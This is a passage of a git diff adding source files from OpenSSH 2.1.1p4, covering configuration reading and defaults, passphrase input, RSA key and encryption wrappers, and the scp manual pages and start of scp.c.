file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ + +void +read_config_file(const char *filename, const char *host, Options *options) +{ + FILE *f; + char line[1024]; + int active, linenum; + int bad_options = 0; + + /* Open the file. */ + f = fopen(filename, "r"); + if (!f) + return; + + debug("Reading configuration data %.200s", filename); + + /* + * Mark that we are now processing the options. This flag is turned + * on/off by Host specifications. + */ + active = 1; + linenum = 0; + while (fgets(line, sizeof(line), f)) { + /* Update line number counter. */ + linenum++; + if (process_config_line(options, host, line, filename, linenum, &active) != 0) + bad_options++; + } + fclose(f); + if (bad_options > 0) + fatal("%s: terminating, %d bad configuration options\n", + filename, bad_options); +} + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ + +void +initialize_options(Options * options) +{ + memset(options, 'X', sizeof(*options)); + options->forward_agent = -1; + options->forward_x11 = -1; + options->xauth_location = NULL; + options->gateway_ports = -1; + options->use_privileged_port = -1; + options->rhosts_authentication = -1; + options->rsa_authentication = -1; + options->dsa_authentication = -1; + options->skey_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; + options->rhosts_rsa_authentication = -1; + options->fallback_to_rsh = -1; + options->use_rsh = -1; + options->batch_mode = -1; + options->check_host_ip = -1; + options->strict_host_key_checking = -1; + options->compression = -1; + options->keepalives = -1; + options->compression_level = -1; + options->port = -1; + options->connection_attempts = -1; + options->number_of_password_prompts = -1; + options->cipher = -1; + options->ciphers = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->num_identity_files = 0; + options->num_identity_files2 = 0; + options->hostname = NULL; + options->proxy_command = NULL; + options->user = NULL; + options->escape_char = -1; + options->system_hostfile = NULL; + options->user_hostfile = NULL; + options->system_hostfile2 = NULL; + options->user_hostfile2 = NULL; + options->num_local_forwards = 0; + options->num_remote_forwards = 0; + options->log_level = (LogLevel) - 1; +} + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ + +void +fill_default_options(Options * options) +{ + if (options->forward_agent == -1) + options->forward_agent = 0; + if (options->forward_x11 == -1) + options->forward_x11 = 0; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->use_privileged_port == -1) + options->use_privileged_port = 1; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 1; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->dsa_authentication == -1) + options->dsa_authentication = 1; + if (options->skey_authentication == -1) + options->skey_authentication = 0; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 1; + if (options->afs_token_passing == -1) + options->afs_token_passing = 1; +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 1; + if (options->fallback_to_rsh == -1) + options->fallback_to_rsh = 0; + if (options->use_rsh == -1) + options->use_rsh = 0; + if (options->batch_mode == -1) + options->batch_mode = 0; + if (options->check_host_ip == -1) + options->check_host_ip = 1; + if (options->strict_host_key_checking == -1) + options->strict_host_key_checking = 2; /* 2 is default */ + if (options->compression == -1) + options->compression = 0; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->compression_level == -1) + options->compression_level = 6; + if (options->port == -1) + options->port = 0; /* Filled in ssh_connect. */ + if (options->connection_attempts == -1) + options->connection_attempts = 4; + if (options->number_of_password_prompts == -1) + options->number_of_password_prompts = 3; + /* Selected in ssh_login(). */ + if (options->cipher == -1) + options->cipher = SSH_CIPHER_NOT_SET; + /* options->ciphers, default set in myproposals.h */ + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2|SSH_PROTO_1_PREFERRED; + if (options->num_identity_files == 0) { + options->identity_files[0] = + xmalloc(2 + strlen(SSH_CLIENT_IDENTITY) + 1); + sprintf(options->identity_files[0], "~/%.100s", SSH_CLIENT_IDENTITY); + options->num_identity_files = 1; + } + if (options->num_identity_files2 == 0) { + options->identity_files2[0] = + xmalloc(2 + strlen(SSH_CLIENT_ID_DSA) + 1); + sprintf(options->identity_files2[0], "~/%.100s", SSH_CLIENT_ID_DSA); + options->num_identity_files2 = 1; + } + if (options->escape_char == -1) + options->escape_char = '~'; + if (options->system_hostfile == NULL) + options->system_hostfile = SSH_SYSTEM_HOSTFILE; + if (options->user_hostfile == NULL) + options->user_hostfile = SSH_USER_HOSTFILE; + if (options->system_hostfile2 == NULL) + options->system_hostfile2 = SSH_SYSTEM_HOSTFILE2; + if (options->user_hostfile2 == NULL) + options->user_hostfile2 = SSH_USER_HOSTFILE2; + if (options->log_level == (LogLevel) - 1) + options->log_level = SYSLOG_LEVEL_INFO; + /* options->proxy_command should not be set by default */ + /* options->user will be set in the main program if appropriate */ + /* options->hostname will be set in the main program if appropriate */ +} diff --git a/other/openssh-2.1.1p4/readconf.h b/other/openssh-2.1.1p4/readconf.h new file mode 100644 index 0000000..e33cebc --- /dev/null +++ b/other/openssh-2.1.1p4/readconf.h @@ -0,0 +1,145 @@ +/* + * + * readconf.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Apr 22 00:25:29 1995 ylo + * + * Functions for reading the configuration file. + * + */ + +/* RCSID("$OpenBSD: readconf.h,v 1.20 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef READCONF_H +#define READCONF_H + +/* Data structure for representing a forwarding request. */ + +typedef struct { + u_short port; /* Port to forward. */ + char *host; /* Host to connect. */ + u_short host_port; /* Port to connect on host. */ +} Forward; +/* Data structure for representing option data. */ + +typedef struct { + int forward_agent; /* Forward authentication agent. */ + int forward_x11; /* Forward X11 display. */ + char *xauth_location; /* Location for xauth program */ + int gateway_ports; /* Allow remote connects to forwarded ports. */ + int use_privileged_port; /* Don't use privileged port if false. */ + int rhosts_authentication; /* Try rhosts authentication. */ + int rhosts_rsa_authentication; /* Try rhosts with RSA + * authentication. */ + int rsa_authentication; /* Try RSA authentication. */ + int dsa_authentication; /* Try DSA authentication. */ + int skey_authentication; /* Try S/Key or TIS authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* Try Kerberos + * authentication. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* Try Kerberos tgt passing. */ + int afs_token_passing; /* Try AFS token passing. */ +#endif + int password_authentication; /* Try password + * authentication. */ + int fallback_to_rsh;/* Use rsh if cannot connect with ssh. */ + int use_rsh; /* Always use rsh (don\'t try ssh). */ + int batch_mode; /* Batch mode: do not ask for passwords. */ + int check_host_ip; /* Also keep track of keys for IP address */ + int strict_host_key_checking; /* Strict host key checking. */ + int compression; /* Compress packets in both directions. */ + int compression_level; /* Compression level 1 (fast) to 9 + * (best). */ + int keepalives; /* Set SO_KEEPALIVE. */ + LogLevel log_level; /* Level for logging. */ + + int port; /* Port to connect. */ + int connection_attempts; /* Max attempts (seconds) before + * giving up */ + int number_of_password_prompts; /* Max number of password + * prompts. */ + int cipher; /* Cipher to use. */ + char *ciphers; /* SSH2 ciphers in order of preference. */ + int protocol; /* Protocol in order of preference. */ + char *hostname; /* Real host to connect. */ + char *proxy_command; /* Proxy command for connecting the host. */ + char *user; /* User to log in as. */ + int escape_char; /* Escape character; -2 = none */ + + char *system_hostfile;/* Path for /etc/ssh_known_hosts. */ + char *user_hostfile; /* Path for $HOME/.ssh/known_hosts. */ + char *system_hostfile2; + char *user_hostfile2; + + int num_identity_files; /* Number of files for RSA identities. */ + int num_identity_files2; /* DSA identities. */ + char *identity_files[SSH_MAX_IDENTITY_FILES]; + char *identity_files2[SSH_MAX_IDENTITY_FILES]; + + /* Local TCP/IP forward requests. */ + int num_local_forwards; + Forward local_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; + + /* Remote TCP/IP forward requests. */ + int num_remote_forwards; + Forward remote_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; +} Options; + + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ +void initialize_options(Options * options); + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ +void fill_default_options(Options * options); + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. Returns 0 for legal + * options + */ +int +process_config_line(Options * options, const char *host, + char *line, const char *filename, int linenum, + int *activep); + +/* + * Reads the config file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ +void +read_config_file(const char *filename, const char *host, + Options * options); + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ +void +add_local_forward(Options * options, u_short port, const char *host, + u_short host_port); + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ +void +add_remote_forward(Options * options, u_short port, const char *host, + u_short host_port); + +#endif /* READCONF_H */ diff --git a/other/openssh-2.1.1p4/readpass.c b/other/openssh-2.1.1p4/readpass.c new file mode 100644 index 0000000..c38292f --- /dev/null +++ b/other/openssh-2.1.1p4/readpass.c @@ -0,0 +1,119 @@ +/* + * Copyright (c) 1988, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: readpass.c,v 1.11 2000/06/20 01:39:44 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +volatile int intr; + +void +intcatch() +{ + intr = 1; +} + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc), being very careful to ensure that + * no other userland buffer is storing the password. + */ +char * +read_passphrase(const char *prompt, int from_stdin) +{ + char buf[1024], *p, ch; + struct termios tio, saved_tio; + sigset_t oset, nset; + struct sigaction sa, osa; + int input, output, echo = 0; + + if (from_stdin) { + input = STDIN_FILENO; + output = STDERR_FILENO; + } else + input = output = open("/dev/tty", O_RDWR); + + if (input == -1) + fatal("You have no controlling tty. Cannot read passphrase.\n"); + + /* block signals, get terminal modes and turn off echo */ + sigemptyset(&nset); + sigaddset(&nset, SIGTSTP); + (void) sigprocmask(SIG_BLOCK, &nset, &oset); + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = intcatch; + (void) sigaction(SIGINT, &sa, &osa); + + intr = 0; + + if (tcgetattr(input, &saved_tio) == 0 && (saved_tio.c_lflag & ECHO)) { + echo = 1; + tio = saved_tio; + tio.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); + (void) tcsetattr(input, TCSANOW, &tio); + } + + fflush(stdout); + + (void)write(output, prompt, strlen(prompt)); + for (p = buf; read(input, &ch, 1) == 1 && ch != '\n';) { + if (intr) + break; + if (p < buf + sizeof(buf) - 1) + *p++ = ch; + } + *p = '\0'; + if (!intr) + (void)write(output, "\n", 1); + + /* restore terminal modes and allow signals */ + if (echo) + tcsetattr(input, TCSANOW, &saved_tio); + (void) sigprocmask(SIG_SETMASK, &oset, NULL); + (void) sigaction(SIGINT, &osa, NULL); + + if (intr) { + kill(getpid(), SIGINT); + sigemptyset(&nset); + /* XXX tty has not neccessarily drained by now? */ + sigsuspend(&nset); + } + + if (!from_stdin) + (void)close(input); + p = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return (p); +} diff --git a/other/openssh-2.1.1p4/rsa.c b/other/openssh-2.1.1p4/rsa.c new file mode 100644 index 0000000..46ad6b6 --- /dev/null +++ b/other/openssh-2.1.1p4/rsa.c @@ -0,0 +1,191 @@ +/* + * + * rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 3 22:07:06 1995 ylo + * + * Description of the RSA algorithm can be found e.g. from the following sources: + * + * Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. + * + * Jennifer Seberry and Josed Pieprzyk: Cryptography: An Introduction to + * Computer Security. Prentice-Hall, 1989. + * + * Man Young Rhee: Cryptography and Secure Data Communications. McGraw-Hill, + * 1994. + * + * R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic Communications + * System and Method. US Patent 4,405,829, 1983. + * + * Hans Riesel: Prime Numbers and Computer Methods for Factorization. + * Birkhauser, 1994. + * + * The RSA Frequently Asked Questions document by RSA Data Security, Inc., 1995. + * + * RSA in 3 lines of perl by Adam Back , 1995, as included + * below: + * + * [gone - had to be deleted - what a pity] + * +*/ + +#include "includes.h" +RCSID("$OpenBSD: rsa.c,v 1.15 2000/06/20 01:39:44 markus Exp $"); + +#include "rsa.h" +#include "ssh.h" +#include "xmalloc.h" +#include "entropy.h" + +int rsa_verbose = 1; + +int +rsa_alive() +{ + RSA *key; + + seed_rng(); + key = RSA_generate_key(32, 3, NULL, NULL); + if (key == NULL) + return (0); + RSA_free(key); + return (1); +} + +/* + * Key generation progress meter callback + */ +void +keygen_progress(int p, int n, void *arg) +{ + const char progress_chars[] = ".o+O?"; + + if ((p < 0) || (p > (sizeof(progress_chars) - 2))) + p = sizeof(progress_chars) - 2; + + putchar(progress_chars[p]); + fflush(stdout); +} + +/* + * Generates RSA public and private keys. This initializes the data + * structures; they should be freed with rsa_clear_private_key and + * rsa_clear_public_key. + */ + +void +rsa_generate_key(RSA *prv, RSA *pub, unsigned int bits) +{ + RSA *key; + + seed_rng(); + + if (rsa_verbose) { + printf("Generating RSA keys: "); + fflush(stdout); + key = RSA_generate_key(bits, 35, keygen_progress, NULL); + printf("\n"); + } else { + key = RSA_generate_key(bits, 35, NULL, NULL); + } + if (key == NULL) + fatal("rsa_generate_key: key generation failed."); + + /* Copy public key parameters */ + pub->n = BN_new(); + BN_copy(pub->n, key->n); + pub->e = BN_new(); + BN_copy(pub->e, key->e); + + /* Copy private key parameters */ + prv->n = BN_new(); + BN_copy(prv->n, key->n); + prv->e = BN_new(); + BN_copy(prv->e, key->e); + prv->d = BN_new(); + BN_copy(prv->d, key->d); + prv->p = BN_new(); + BN_copy(prv->p, key->p); + prv->q = BN_new(); + BN_copy(prv->q, key->q); + + prv->dmp1 = BN_new(); + BN_copy(prv->dmp1, key->dmp1); + + prv->dmq1 = BN_new(); + BN_copy(prv->dmq1, key->dmq1); + + prv->iqmp = BN_new(); + BN_copy(prv->iqmp, key->iqmp); + + RSA_free(key); + + if (rsa_verbose) + printf("Key generation complete.\n"); +} + +void +rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + unsigned char *inbuf, *outbuf; + int len, ilen, olen; + + if (BN_num_bits(key->e) < 2 || !BN_is_odd(key->e)) + fatal("rsa_public_encrypt() exponent too small or not odd"); + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_public_encrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) + fatal("rsa_public_encrypt() failed"); + + BN_bin2bn(outbuf, len, out); + + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); +} + +void +rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + unsigned char *inbuf, *outbuf; + int len, ilen, olen; + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_private_decrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) + fatal("rsa_private_decrypt() failed"); + + BN_bin2bn(outbuf, len, out); + + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); +} + +/* Set whether to output verbose messages during key generation. */ + +void +rsa_set_verbose(int verbose) +{ + rsa_verbose = verbose; +} diff --git a/other/openssh-2.1.1p4/rsa.h b/other/openssh-2.1.1p4/rsa.h new file mode 100644 index 0000000..dfbf6f4 --- /dev/null +++ b/other/openssh-2.1.1p4/rsa.h @@ -0,0 +1,38 @@ +/* + * + * rsa.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 3 22:01:06 1995 ylo + * + * RSA key generation, encryption and decryption. + * +*/ + +/* RCSID("$OpenBSD: rsa.h,v 1.7 2000/06/20 01:39:44 markus Exp $"); */ + +#ifndef RSA_H +#define RSA_H + +#include +#include + +/* Calls SSL RSA_generate_key, only copies to prv and pub */ +void rsa_generate_key(RSA * prv, RSA * pub, unsigned int bits); + +/* + * Indicates whether the rsa module is permitted to show messages on the + * terminal. + */ +void rsa_set_verbose __P((int verbose)); + +int rsa_alive __P((void)); + +void rsa_public_encrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); +void rsa_private_decrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); + +#endif /* RSA_H */ diff --git a/other/openssh-2.1.1p4/scp.0 b/other/openssh-2.1.1p4/scp.0 new file mode 100644 index 0000000..b3b4382 --- /dev/null +++ b/other/openssh-2.1.1p4/scp.0 @@ -0,0 +1,69 @@ + +SCP(1) System Reference Manual SCP(1) + +NAME + scp - secure copy (remote file copy program) + +SYNOPSIS + scp [-pqrvC46] [-P port] [-c cipher] [-i identity_file] + [[user@]host1:]file1 [...] [[user@]host2:]file2 + +DESCRIPTION + scp copies files between hosts on a network. It uses ssh(1) for data + transfer, and uses the same authentication and provides the same security + as ssh(1). Unlike rcp(1), scp will ask for passwords or passphrases if + they are needed for authentication. + + Any file name may contain a host and user specification to indicate that + the file is to be copied to/from that host. Copies between two remote + hosts are permitted. + + The options are as follows: + + -c cipher + Selects the cipher to use for encrypting the data transfer. This + option is directly passed to ssh(1). + + -i identity_file + Selects the file from which the identity (private key) for RSA + authentication is read. This option is directly passed to + ssh(1). + + -p Preserves modification times, access times, and modes from the + original file. + + -r Recursively copy entire directories. + + -v Verbose mode. Causes scp and ssh(1) to print debugging messages + about their progress. This is helpful in debugging connection, + authentication, and configuration problems. + + -B Selects batch mode (prevents asking for passwords or passphras- + es). + + -q Disables the progress meter. + + -C Compression enable. Passes the -C flag to ssh(1) to enable com- + pression. + + -P port + Specifies the port to connect to on the remote host. Note that + this option is written with a capital `P', because -p is already + reserved for preserving the times and modes of the file in + rcp(1). + + -4 Forces scp to use IPv4 addresses only. + + -6 Forces scp to use IPv6 addresses only. + +AUTHORS + Timo Rinne and Tatu Ylonen + +HISTORY + scp is based on the rcp(1) program in BSD source code from the Regents of + the University of California. + +SEE ALSO + rcp(1), ssh(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), sshd(8) + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-2.1.1p4/scp.1 b/other/openssh-2.1.1p4/scp.1 new file mode 100644 index 0000000..267195d --- /dev/null +++ b/other/openssh-2.1.1p4/scp.1 @@ -0,0 +1,124 @@ +.\" -*- nroff -*- +.\" +.\" scp.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sun May 7 00:14:37 1995 ylo +.\" +.\" $Id: scp.1,v 1.8 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SCP 1 +.Os +.Sh NAME +.Nm scp +.Nd secure copy (remote file copy program) +.Sh SYNOPSIS +.Nm scp +.Op Fl pqrvC46 +.Op Fl P Ar port +.Op Fl c Ar cipher +.Op Fl i Ar identity_file +.Sm off +.Oo +.Op Ar user@ +.Ar host1 No : +.Oc Ns Ar file1 +.Sm on +.Op Ar ... +.Sm off +.Oo +.Op Ar user@ +.Ar host2 No : +.Oc Ar file2 +.Sm on +.Sh DESCRIPTION +.Nm +copies files between hosts on a network. +It uses +.Xr ssh 1 +for data transfer, and uses the same authentication and provides the +same security as +.Xr ssh 1 . +Unlike +.Xr rcp 1 , +.Nm +will ask for passwords or passphrases if they are needed for +authentication. +.Pp +Any file name may contain a host and user specification to indicate +that the file is to be copied to/from that host. +Copies between two remote hosts are permitted. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c Ar cipher +Selects the cipher to use for encrypting the data transfer. +This option is directly passed to +.Xr ssh 1 . +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for RSA +authentication is read. +This option is directly passed to +.Xr ssh 1 . +.It Fl p +Preserves modification times, access times, and modes from the +original file. +.It Fl r +Recursively copy entire directories. +.It Fl v +Verbose mode. +Causes +.Nm +and +.Xr ssh 1 +to print debugging messages about their progress. +This is helpful in +debugging connection, authentication, and configuration problems. +.It Fl B +Selects batch mode (prevents asking for passwords or passphrases). +.It Fl q +Disables the progress meter. +.It Fl C +Compression enable. +Passes the +.Fl C +flag to +.Xr ssh 1 +to enable compression. +.It Fl P Ar port +Specifies the port to connect to on the remote host. +Note that this option is written with a capital +.Sq P , +because +.Fl p +is already reserved for preserving the times and modes of the file in +.Xr rcp 1 . +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh AUTHORS +Timo Rinne and Tatu Ylonen +.Sh HISTORY +.Nm +is based on the +.Xr rcp 1 +program in BSD source code from the Regents of the University of +California. +.Sh SEE ALSO +.Xr rcp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 diff --git a/other/openssh-2.1.1p4/scp.c b/other/openssh-2.1.1p4/scp.c new file mode 100644 index 0000000..02feba9 --- /dev/null +++ b/other/openssh-2.1.1p4/scp.c @@ -0,0 +1,1267 @@ +/* + * + * scp - secure remote copy. This is basically patched BSD rcp which uses ssh + * to do the data transfer (instead of using rcmd). + * + * NOTE: This version should NOT be suid root. (This uses ssh to do the transfer + * and ssh has the necessary privileges.) + * + * 1995 Timo Rinne , Tatu Ylonen + * +*/ + +/* + * Copyright (c) 1983, 1990, 1992, 1993, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: scp.c,v 1.33 2000/07/13 23:19:31 provos Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include + +#define _PATH_CP "cp" + +/* For progressmeter() -- number of seconds before xfer considered "stalled" */ +#define STALLTIME 5 + +/* Progress meter bar */ +#define BAR \ + "************************************************************"\ + "************************************************************"\ + "************************************************************"\ + "************************************************************" +#define MAX_BARLENGTH (sizeof(BAR) - 1) + +/* Visual statistics about files as they are transferred. */ +void progressmeter(int); + +/* Returns width of the terminal (for progress meter calculations). */ +int getttywidth(void); + +/* Time a transfer started. */ +static struct timeval start; + +/* Number of bytes of current file transferred so far. */ +volatile unsigned long statbytes; + +/* Total size of current file. */ +off_t totalbytes = 0; + +/* Name of current file being transferred. */ +char *curfile; + +/* This is set to non-zero if IPv4 is desired. */ +int IPv4 = 0; + +/* This is set to non-zero if IPv6 is desired. */ +int IPv6 = 0; + +/* This is set to non-zero to enable verbose mode. */ +int verbose_mode = 0; + +/* This is set to non-zero if compression is desired. */ +int compress_flag = 0; + +/* This is set to zero if the progressmeter is not desired. */ +int showprogress = 1; + +/* This is set to non-zero if running in batch mode (that is, password + and passphrase queries are not allowed). */ +int batchmode = 0; + +/* This is set to the cipher type string if given on the command line. */ +char *cipher = NULL; + +/* This is set to the RSA authentication identity file name if given on + the command line. */ +char *identity = NULL; + +/* This is the port to use in contacting the remote site (is non-NULL). */ +char *port = NULL; + +/* + * This function executes the given command as the specified user on the + * given host. This returns < 0 if execution fails, and >= 0 otherwise. This + * assigns the input and output file descriptors on success. + */ + +int +do_cmd(char *host, char *remuser, char *cmd, int *fdin, int *fdout) +{ + int pin[2], pout[2], reserved[2]; + + if (verbose_mode) + fprintf(stderr, "Executing: host %s, user %s, command %s\n", + host, remuser ? remuser : "(unspecified)", cmd); + + /* + * Reserve two descriptors so that the real pipes won't get + * descriptors 0 and 1 because that will screw up dup2 below. + */ + pipe(reserved); + + /* Create a socket pair for communicating with ssh. */ + if (pipe(pin) < 0) + fatal("pipe: %s", strerror(errno)); + if (pipe(pout) < 0) + fatal("pipe: %s", strerror(errno)); + + /* Free the reserved descriptors. */ + close(reserved[0]); + close(reserved[1]); + + /* For a child to execute the command on the remote host using ssh. */ + if (fork() == 0) { + char *args[100]; + unsigned int i; + + /* Child. */ + close(pin[1]); + close(pout[0]); + dup2(pin[0], 0); + dup2(pout[1], 1); + close(pin[0]); + close(pout[1]); + + i = 0; + args[i++] = SSH_PROGRAM; + args[i++] = "-x"; + args[i++] = "-oFallBackToRsh no"; + if (IPv4) + args[i++] = "-4"; + if (IPv6) + args[i++] = "-6"; + if (verbose_mode) + args[i++] = "-v"; + if (compress_flag) + args[i++] = "-C"; + if (batchmode) + args[i++] = "-oBatchMode yes"; + if (cipher != NULL) { + args[i++] = "-c"; + args[i++] = cipher; + } + if (identity != NULL) { + args[i++] = "-i"; + args[i++] = identity; + } + if (port != NULL) { + args[i++] = "-p"; + args[i++] = port; + } + if (remuser != NULL) { + args[i++] = "-l"; + args[i++] = remuser; + } + args[i++] = host; + args[i++] = cmd; + args[i++] = NULL; + + execvp(SSH_PROGRAM, args); + perror(SSH_PROGRAM); + exit(1); + } + /* Parent. Close the other side, and return the local side. */ + close(pin[0]); + *fdout = pin[1]; + close(pout[1]); + *fdin = pout[0]; + return 0; +} + +void +fatal(const char *fmt,...) +{ + va_list ap; + char buf[1024]; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + va_end(ap); + fprintf(stderr, "%s\n", buf); + exit(255); +} + +/* This stuff used to be in BSD rcp extern.h. */ + +typedef struct { + int cnt; + char *buf; +} BUF; + +extern int iamremote; + +BUF *allocbuf(BUF *, int, int); +char *colon(char *); +void lostconn(int); +void nospace(void); +int okname(char *); +void run_err(const char *,...); +void verifydir(char *); + +/* Stuff from BSD rcp.c continues. */ + +struct passwd *pwd; +uid_t userid; +int errs, remin, remout; +int pflag, iamremote, iamrecursive, targetshouldbedirectory; + +#define CMDNEEDS 64 +char cmd[CMDNEEDS]; /* must hold "rcp -r -p -d\0" */ + +int response(void); +void rsource(char *, struct stat *); +void sink(int, char *[]); +void source(int, char *[]); +void tolocal(int, char *[]); +void 